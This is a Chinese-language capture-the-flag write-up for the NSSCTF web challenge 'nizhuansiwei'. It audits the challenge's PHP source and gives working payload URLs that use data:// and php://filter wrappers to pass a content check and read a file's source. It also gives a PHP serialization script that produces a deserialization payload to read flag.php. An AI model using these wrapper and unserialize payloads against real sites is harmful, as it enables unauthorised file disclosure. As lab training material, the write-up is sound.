NSSCTF WEB nizhuansiwei
进入题目页面,先看一眼标签,发现本题的标签是反序列化,php伪协议。这些标签是做过题的人共同选出来的,所以具有一定参考价值

进入到题目地址,发现是一段php源码,源码都给了,那当然是先来一手代码审计。

<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>
file_get_contents:将整个文件读入到一个字符串中。使用该函数可以读取本地的文件、远程文件和 HTTP 请求的响应等内容。
语法:file_get_contents(path,include_path,context,start,max_length)
| 参数 | 描述 |
|---|---|
| path | 必需。规定要读取的文件。 |
| include_path | 可选。如果也想在 include_path 中搜寻文件的话,可以将该参数设为 "1"。 |
| context | 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 null,则忽略。 |
| start | 可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 新加的。 |
| max_length | 可选。规定读取的字节数。该参数是 PHP 5.1 新加的。 |
preg_match:将给到的函数与所给的内容进行匹配,匹配成功返回1,未匹配则返回0
本题就是通过对flag进行匹配,来对GET的内容进行过滤
unserialize:将所给的值进行反序列化
根据上面获得的信息,我们可以知道,需要给text传递的值为"welcome to the zjctf",我们先传一下试试,看会有什么回显。这里我们用data来传输数据。
playload:/?text=data://text/plain,welcome to the zictf

发现存在回显,说明我们方向正确,继续输入flie的参数useless.php来读取useless.php的内容直接传输file=useless.php发现页面变化,说明直接传值无法读取该文件内容,那我们使用php://filter来进行读取并对读取文件名进行base64编码。
playload:/?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

发现下面出现了一串编码,放进bp的编码工具,进行解码获得下面代码
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
到这基本就没什么了,就是对这段代码进行序列化。序列化代码如下:
<?php class Flag{ //flag.php public $file; } $a = new Flag(); $a->file = 'flag.php'; $b=urlencode(serialize($a)); echo $b;
执行代码之后将内容传给password就行了,要注意的是,这段代码是在useless.php界面下的,所以最终的playload也应该在这个界面,所以flie的值就直接传useless.php
最终playload:/?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O%3A4%3A"Flag"%3A1%3A%7Bs%3A4%3A"file"%3Bs%3A8%3A"flag.php"%3B%7D
然后就获得本题的flag了



NSSCTF WEB nizhuansiwei
浙公网安备 33010602011771号